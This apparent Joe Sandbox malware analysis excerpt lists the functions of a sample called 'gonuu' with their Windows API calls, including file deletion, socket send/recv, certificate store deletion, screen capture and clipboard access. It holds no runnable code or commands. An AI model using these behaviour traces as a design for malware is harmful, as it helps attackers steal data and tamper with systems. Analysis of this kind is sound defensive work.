    • FindFirstFileW.KERNEL32(?,?), ref: 0041DCF0
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    • FindNextFileW.KERNEL32(?,?), ref: 0041DD4B
    • FindClose.KERNEL32 ref: 0041DD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 0041DD62
    • RemoveDirectoryW.KERNEL32(?), ref: 0041DD69
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042A297, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 60
    APIs
      • Part of subcall function 0041834E: MultiByteToWideChar.KERNEL32(0040815B,00000000,?,?,?,?), ref: 00418365
    • StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00C22040), ref: 0042A31B
    • lstrcmpiW.KERNEL32(?,E121EBEE), ref: 0042A333
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042B388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(004345A0), ref: 0042B39D
    • LeaveCriticalSection.KERNEL32(004345A0), ref: 0042B3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 0042B3D3
    • EnterCriticalSection.KERNEL32(004345A0), ref: 0042B3DE
    • LeaveCriticalSection.KERNEL32(004345A0), ref: 0042B3FC
      • Part of subcall function 0041B708: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041B733
      • Part of subcall function 0041B708: recv.WS2_32(?,?,00000400,00000000), ref: 0041B77B
      • Part of subcall function 0041B708: send.WS2_32(?,?,?,00000000), ref: 0041B795
      • Part of subcall function 0041B708: select.WS2_32(00000000,?,00000000,00000000,0042B414), ref: 0041B7D5
      • Part of subcall function 0042B2E3: EnterCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B2F4
      • Part of subcall function 0042B2E3: CloseHandle.KERNEL32(?), ref: 0042B330
      • Part of subcall function 0042B2E3: LeaveCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B37F
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00408602, Relevance: 7.6, APIs: 5, Instructions: 54
    APIs
    • ReleaseDC.USER32 ref: 00408602
    • GetStockObject.GDI32 ref: 00408608
    • GetLastError.KERNEL32 ref: 0040860E
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040BB0B, Relevance: 7.5, APIs: 5, Instructions: 49
    APIs
    • EndPage.GDI32 ref: 0040BB0B
    • GetCurrentThreadId.KERNEL32 ref: 0040BB11
    • PageSetupDlgW.COMDLG32 ref: 0040BB17
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040BB2D
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040BB84
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040C48F, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • SetScrollPos.USER32 ref: 0040C48F
    • CommDlgExtendedError.COMDLG32 ref: 0040C495
    • GetObjectW.GDI32 ref: 0040C49B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C4BE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C53C
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00414AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00414AD3
    • SetThreadPriority.KERNEL32 ref: 00414ADA
    • SetEvent.KERNEL32 ref: 00414AEC
      • Part of subcall function 00414383: GetWindowInfo.USER32(?,?), ref: 004143EF
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414412
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414468
      • Part of subcall function 00414383: GetDC.USER32(00000000), ref: 004144AC
      • Part of subcall function 00414383: CreateCompatibleDC.GDI32 ref: 004144BD
      • Part of subcall function 00414383: ReleaseDC.USER32(00000000), ref: 004144C7
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004144DC
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004144EA
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(?), ref: 00414535
      • Part of subcall function 00414383: EqualRect.USER32(?,?), ref: 0041454F
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 0041455A
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 004145BE
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 004145E0
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 0041461D
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
      • Part of subcall function 00414383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(00000000), ref: 0041466C
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
      • Part of subcall function 00414383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004146BE
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004146C5
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 00414383: PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    • SetEvent.KERNEL32 ref: 00414B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00414B46
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041435C, Relevance: 7.5, APIs: 5, Instructions: 45
    APIs
    • SetDlgItemTextW.USER32 ref: 0041435C
    • lstrcpynW.KERNEL32 ref: 00414362
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408F99, Relevance: 7.5, APIs: 5, Instructions: 44
    APIs
    • OpenClipboard.USER32 ref: 00408F99
    • ShowWindow.USER32 ref: 00408F9F
    • LoadCursorW.USER32 ref: 00408FA5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040878F, Relevance: 7.5, APIs: 5, Instructions: 38
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 0040878F
    • RegQueryValueExA.ADVAPI32 ref: 00408795
    • CharNextW.USER32 ref: 0040879B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00420BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,004071B8,?,?,00408470), ref: 00420BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,?,?,?,00408470), ref: 00420C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,?,?,?,00408470), ref: 00420C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,?,?,?,00408470), ref: 00420C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,?,?,?,00408470), ref: 00420C1F
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004143AE, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042C7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
    • ReleaseMutex.KERNEL32 ref: 0042C7ED
    • IsWindow.USER32(?), ref: 0042C7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004090A5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150
    APIs
    • ChildWindowFromPoint.USER32 ref: 004090A5
    • CheckMenuItem.USER32 ref: 004090AB
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415045, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105
    APIs
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041505C, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004093EC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103
    APIs
    • MapViewOfFile.KERNEL32 ref: 004093EC
    • GetMenu.USER32 ref: 004093F2
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00409632
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004091C5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97
    APIs
    • GetDlgItemTextW.USER32 ref: 004091C5
    • #6.COMCTL32 ref: 004091CB
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040FA3E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004243C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00424429
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0042447B
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00423AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00423B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00423B9A
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00415BAC, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77
    APIs
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040FAC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66
    APIs
    • LocalAlloc.KERNEL32 ref: 0040FAC3
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040FF22, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62
    APIs
